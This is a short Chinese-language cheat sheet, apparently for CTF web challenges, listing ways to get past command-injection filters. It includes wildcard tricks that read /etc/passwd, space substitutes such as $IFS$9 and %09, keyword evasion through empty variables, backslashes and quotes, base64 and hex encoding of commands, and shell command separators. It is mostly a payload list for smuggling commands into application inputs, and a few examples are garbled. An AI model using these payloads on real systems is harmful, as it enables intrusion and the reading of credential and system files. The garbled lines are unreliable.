利用通配符来执行命令
c=/?in/cat+/et?/passw?
可以当做/bin/cat/etc/passwd
?可以匹配任意字符
过滤空格的方法
%20(space)、%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展{,} {cat,/etc/passwd}
$IFS 空格绕过 cat$IFS$1a.txt
变量控制 X=$'cat\x09./flag.php
关键词过滤
使用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt
反斜杠 ca\t a.txt
变量替换 a=ca;b=t;c=a.txt; a a ab $c
引号 c'a't flag.php
编码绕过
Base64 编码绕过:
root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
十六进制编码绕过:
root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
通配符 ?*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php
命令分隔与执行多条命令
1.&
& 表示将任务置于后台执行
2.&&
在 && 左边的命令返回真 && 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
在 || 左边的命令返回假|| 右边的命令才 会被执行。
5.;
;用来区分多个命令